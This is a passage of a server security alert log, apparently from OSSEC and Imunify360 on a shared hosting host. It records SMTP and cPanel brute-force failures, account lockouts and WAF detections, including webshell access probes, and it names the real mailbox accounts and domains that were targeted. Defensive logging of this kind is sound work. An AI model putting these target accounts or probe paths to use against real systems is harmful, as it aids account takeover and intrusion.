# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:07:06 dovecot_login authenticator failed for H=(QAjsfPu6L) [178.16.54.22]:51439: 535 Incorrect authentication data (set_id=limls)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:07:55 dovecot_login authenticator failed for H=(YA2LTJCp) [158.94.209.22]:49727: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:07:01 dovecot_login authenticator failed for H=(mfe3f40WGz) [158.94.209.22]:63666: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:07:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-01-31 11:07:29 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:49333: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.57.24.199
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:eb9aaf3a7c2ab3770a73cdffdea28996eaf7869d||Title:0x81fc3a47||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:07:01 dovecot_login authenticator failed for H=(k0nlEcz1T) [178.16.54.138]:60892: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.193.122.91
country_id: 690791
description:
2026-01-31 11:07:09 dovecot_login authenticator failed for H=(82.193.122.91.cl.ipnet.ua) [82.193.122.91]:42449: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 5.34.240.185
country_id: 453733
domain: agsaintifik.com.my
description:
IM360 WAF: Track spam in PrestaShop||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-json/contact-form-7/v1/contact-forms/38/feedback||


plugin: modsec
rule: 77142097
name: IM360 WAF: Track spam via contactform for WordPress
abuser: 5.34.240.185
country_id: 453733
domain: agsaintifik.com.my
description:
IM360 WAF: Track spam via contactform for WordPress||RSV:7.71||T:APACHE||MVN:REQUEST_URI||MV:/wp-json/contact-form-7/v1/contact-forms/38/feedback||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.148.10
country_id: 1814991
description:
2026-01-31 11:08:02 dovecot_login authenticator failed for H=(hebei.18.121.in-addr.arpa) [121.18.148.10]:31816: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:08:08 dovecot_login authenticator failed for H=(PSeuuep) [178.16.54.22]:53040: 535 Incorrect authentication data (set_id=limls)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.236.133.222
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=81&page=2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.118.162.194
country_id: 2453866
description:
2026-01-31 11:08:36 dovecot_login authenticator failed for H=([154.118.162.194]) [154.118.162.194]:41511: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:08:13 dovecot_login authenticator failed for H=(p4Mef7RNTq) [158.94.209.22]:49518: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-01-31 11:08:15 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:55282: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-31 11:08:28 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:12858: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:08:20 dovecot_login authenticator failed for H=(28ociG) [178.16.54.138]:53678: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.231.25.64
country_id: 3686110
description:
2026-01-31 11:08:27 dovecot_login authenticator failed for H=(1522312565.colombiatel.co) [152.231.25.64]:44129: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.57.24.199
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5fe9cb3079774341df36576d764f7f787861987e||Title:0xab8b03ef||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:08:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:09:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-31 11:09:13 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:59058: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.32.72.200
country_id: 2017370
description:
2026-01-31 11:09:23 dovecot_login authenticator failed for H=broadband-188-32-72-200.ip.moscow.rt.ru [188.32.72.200]:53840: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.138
country_id: 2635167
description:
2026-01-31 11:09:47 29946 [Warning] Aborted connection 29946 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.138' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.144.79.102
country_id: 1269750
description:
2026-01-31 11:09:15 dovecot_login authenticator failed for H=(aes-static-102.79.144.59.airtel.in) [59.144.79.102]:48340: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:09:17 dovecot_login authenticator failed for H=(bXNvrMtVJ) [178.16.54.138]:56197: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 11:09:41 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bkooi@mckd.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:09:24 dovecot_login authenticator failed for H=(D6whHRJd) [178.16.54.22]:58030: 535 Incorrect authentication data (set_id=kywong.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:09:07 dovecot_login authenticator failed for H=(bzFuIR) [158.94.209.22]:50653: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:10:01 dovecot_login authenticator failed for H=(6jsnXnZ4Th) [158.94.209.22]:53554: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.57.24.199
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fba70dae29fff5699b36c2958ca35edf8b5cb6ed||Title:0xf8886b68||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:10:10 dovecot_login authenticator failed for H=(YY7gGIyy) [178.16.54.138]:61402: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.202.58
country_id: 1269750
description:
2026-01-31 11:10:16 dovecot_login authenticator failed for H=(nsg-corporate-58.202.186.122.airtel.in) [122.186.202.58]:60790: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:10:46 dovecot_login authenticator failed for H=(WBHLCctCv) [178.16.54.22]:54363: 535 Incorrect authentication data (set_id=kywong.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-31 11:10:47 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:35271: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 11:10:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bkooi@mckd.com.my has been locked for the attacker IP 178.16.54.138


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.50.179.247
country_id: 3624060
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=603392 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.123.104.100
country_id: 1168579
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/translation/Tests/fixtures/encoding.xlf HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.213
country_id: 1269750
description:
2026-01-31 11:10:23 dovecot_login authenticator failed for H=([122.187.230.213]) [122.187.230.213]:48399: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.104.254.92
country_id: 3865483
description:
2026-01-31 11:10:40 dovecot_login authenticator failed for H=(static.90.254.104.190.cps.com.ar) [190.104.254.92]:45411: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.185.173.167
country_id: 1814991
description:
2026-01-31 11:11:12 dovecot_login authenticator failed for H=([110.185.173.167]) [110.185.173.167]:52840: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.21
country_id: 337996
description:
2026-01-31 11:11:14 dovecot_login authenticator failed for H=([196.188.187.21]) [196.188.187.21]:41528: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:11:13 dovecot_login authenticator failed for H=(TGuZGh2Wvb) [158.94.209.22]:55307: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.178
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/all.min.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-31 11:11:21 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:33792: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.226.224.102
country_id: 3865483
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/portfolios/emerald-9/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:11:03 dovecot_login authenticator failed for H=(fhet3exk) [178.16.54.138]:55638: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.220.169.113
country_id: 2635167
description:
2026-01-31 11:11:03 dovecot_login authenticator failed for H=(165-220-169-113.cust.exede.net) [165.220.169.113]:49316: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 11:11:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bkooi@mckd.com.my has been locked for the attacker IP 178.16.54.138


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.57.24.199
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ad4ad3a53eaf59dc3ef652bf49a70415514b6ffb||Title:0xd5c2f0b3||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.123
country_id: 1269750
description:
2026-01-31 11:11:26 dovecot_login authenticator failed for H=(nsg-corporate-123.230.187.122.airtel.in) [122.187.230.123]:48160: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:11:26 dovecot_login authenticator failed for H=(ks8kZN) [178.16.54.22]:58711: 535 Incorrect authentication data (set_id=limls)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:12:59 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:12:07 dovecot_login authenticator failed for H=(o2TYL1) [158.94.209.22]:58064: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 11:12:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bkooi@mckd.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:12:25 dovecot_login authenticator failed for H=(iN3rqQ4i) [158.94.209.22]:59428: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.181.196.96
country_id: 3469034
description:
2026-01-31 11:12:45 dovecot_login authenticator failed for H=(96.196.181.45.datasysteminfor.com.br) [45.181.196.96]:55603: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.164.51.149
country_id: 732800
description:
[2026-01-31 11:12:58 +0800] info [webmaild] 95.164.51.149 - intercessors@agpc.org.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:12:02 dovecot_login authenticator failed for H=(KRA81tjBE) [178.16.54.22]:64186: 535 Incorrect authentication data (set_id=limls)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:12:22 dovecot_login authenticator failed for H=(vp5kSo4h) [178.16.54.138]:53344: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.75.54.243
country_id: 1819730
domain: solidfence.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/solidfencecom/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: af-sb.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home/afsb/public_html/wp-admin/images/file.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:13:01 dovecot_login authenticator failed for H=(RGyZ5R) [158.94.209.22]:60221: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 11:13:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bkooi@mckd.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:13:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:13:19 dovecot_login authenticator failed for H=(WYn9EoE) [178.16.54.138]:64542: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:13:26 dovecot_login authenticator failed for H=(eE31sB) [178.16.54.22]:52263: 535 Incorrect authentication data (set_id=limls)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.164.91.67
country_id: 1814991
description:
2026-01-31 11:13:03 dovecot_login authenticator failed for H=([39.164.91.67]) [39.164.91.67]:38166: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:14:13 dovecot_login authenticator failed for H=(E8uh24MF) [178.16.54.138]:59034: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.214.78
country_id: 1269750
description:
2026-01-31 11:14:53 dovecot_login authenticator failed for H=([125.20.249.39]) [128.185.214.78]:35886: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:14:13 dovecot_login authenticator failed for H=(p70uN67) [158.94.209.22]:63491: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-01-31 11:15:01 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:61792: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:14:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 11:14:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bkooi@mckd.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:14:13 dovecot_login authenticator failed for H=(qtVBRfRQbP) [178.16.54.22]:64135: 535 Incorrect authentication data (set_id=kywong.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.129.96.2
country_id: 1814991
description:
2026-01-31 11:15:28 dovecot_login authenticator failed for H=([219.129.96.2]) [219.129.96.2]:46547: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:15:05 dovecot_login authenticator failed for H=(1Sxv4t) [178.16.54.138]:65501: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:15:07 dovecot_login authenticator failed for H=(nDE626HY) [158.94.209.22]:58212: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.161.196.5
country_id: 99237
description:
2026-01-31 11:15:15 dovecot_login authenticator failed for H=([46.161.196.5]) [46.161.196.5]:59450: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.101.62.172
country_id: 3469034
domain: astlog.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:76936.astlog.com.my||ServerName:astlog.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:30643cbdcfa5615feaba6dfb2a02aacaea4a477f||Title:0xe0ed505c||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:15:19 dovecot_login authenticator failed for H=(Bg4AobmJZ) [178.16.54.22]:62161: 535 Incorrect authentication data (set_id=limls)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:15:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.166.105.133
country_id: 1814991
description:
2026-01-31 11:15:11 dovecot_login authenticator failed for H=([223.166.105.133]) [223.166.105.133]:40322: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.55.123.178
country_id: 3865483
domain: langkawiconstructions.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/langkawiconstructions.com/contact-us HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.130
country_id: 1269750
description:
2026-01-31 11:15:43 dovecot_login authenticator failed for H=(nsg-corporate-130.230.187.122.airtel.in) [122.187.230.130]:60339: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.85.44.247
country_id: 6252001
description:
2026-01-31 11:15:45 dovecot_plain authenticator failed for H=(ofing) [73.85.44.247]:41484: 535 Incorrect authentication data (set_id=marina@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.65.169
country_id: 2328926
description:
2026-01-31 11:15:47 dovecot_login authenticator failed for H=(ADMIN) [146.70.65.169]:28414: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:16:37 dovecot_login authenticator failed for H=(Tqv7fi) [158.94.209.22]:62286: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.217.68.100
country_id: 1814991
description:
2026-01-31 11:16:45 dovecot_login authenticator failed for H=([171.217.68.100]) [171.217.68.100]:53410: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-31 11:16:53 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:39317: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:16:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:16:39 dovecot_login authenticator failed for H=(HXyNOm) [178.16.54.22]:64767: 535 Incorrect authentication data (set_id=kywong.fpp@vc-b.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:16:19 dovecot_login authenticator failed for H=(BA2i5q1) [158.94.209.22]:64337: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:16:21 dovecot_login authenticator failed for H=(JlPvV9RU) [178.16.54.138]:60831: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.186.193.149
country_id: 1643084
description:
2026-01-31 11:16:30 dovecot_login authenticator failed for H=([103.186.193.149]) [103.186.193.149]:47372: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:17:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.96.62.29
country_id: 1269750
description:
2026-01-31 11:17:29 dovecot_login authenticator failed for H=([59.96.62.29]) [59.96.62.29]:52368: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-31 11:17:34 dovecot_login authenticator failed for H=(host-64-72-74-162.lightower.net) [64.72.74.162]:36646: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.126.144.30
country_id: 6252001
description:
2026-01-31 11:17:15 dovecot_login authenticator failed for H=ool-457e901e.dyn.optonline.net [69.126.144.30]:51016: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-31 11:17:07 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:45020: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:17:13 dovecot_login authenticator failed for H=(GM0hrI) [158.94.209.22]:54886: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:17:15 dovecot_login authenticator failed for H=(pnZOFVS4oN) [178.16.54.138]:56244: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:17:17 dovecot_login authenticator failed for H=(9iyJ1oUv) [178.16.54.22]:65267: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:18:10 dovecot_login authenticator failed for H=(jMjrMb) [178.16.54.138]:58982: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13001
